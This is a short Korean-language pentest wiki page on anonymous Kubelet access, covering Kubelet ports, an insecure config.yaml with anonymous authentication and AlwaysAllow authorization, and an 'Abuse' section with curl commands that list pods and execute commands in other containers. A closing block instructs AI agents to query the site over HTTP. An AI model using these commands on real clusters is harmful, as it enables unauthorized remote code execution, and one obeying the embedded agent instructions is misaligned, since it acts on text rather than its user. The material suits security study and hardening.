# Anonymous Kubelet

Kubelet은 API 서버와 통신하며 Pod들을 관리하는 각 노드의 에이전트입니다.

<table><thead><tr><th width="141">컴포넌트</th><th width="162">포트</th><th width="195">위치</th><th>역할</th></tr></thead><tbody><tr><td>API Server</td><td>6443</td><td>Control Plane</td><td>클러스터 전체 관리 API</td></tr><tr><td>Kubelet</td><td>10250 / 10255</td><td>각 Worker node</td><td>노드/Pod 관리 API</td></tr></tbody></table>

API 서버와 Kubelet은 REST API를 사용하여 통신하며, Kubelet의 10255(HTTP)는 Read-only, 10250(HTTPS)는 모든 기능을 요청할 수 있는 API 엔드 포인트입니다.

<figure><img src="/files/cZkWptaYA5GxQ03izQ1y" alt=""><figcaption></figcaption></figure>

과거 쿠버네티스 노드의 `/var/lib/kubelet/config.yaml` 파일에는 Kubelet의 엔드포인트에 익명 사용자도 접근을 허용하는 속성이 기본 값으로 설정되어 있었습니다.

현재도 kubelet을 수동으로 구성했다면 기본으로 익명 접근을 허용하지만, kubeadm이나 벤더사에서 제공하는 쿠버네티스 서비스(AKS, EKS 등)는 보안 설정이 되어있습니다.

```yaml
apiVersion: kubelet.config.k8s.io/v1beta1
authentication:
  anonymous:
    enabled: true # Anonymous 허용
  webhook:
    cacheTTL: 0s
    enabled: true
  x509:
    clientCAFile: /etc/kubernetes/pki/ca.crt
authorization:
  mode: AlwaysAllow # 모든 요청 인가 허용
```

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># pod 목록 조회
</strong>curl -sk https://'&#x3C;node-ip>':10250/pods | jq '.items[].metadata | {namespace, name}'

<strong># 다른 pod에 RCE
</strong>curl -k https://'&#x3C;node-ip>':10250/run/&#x3C;namespace>/&#x3C;pod>/&#x3C;container> -d "cmd=hostname"
</code></pre>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/docker-and-kubernetes/anonymous-kubelet.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
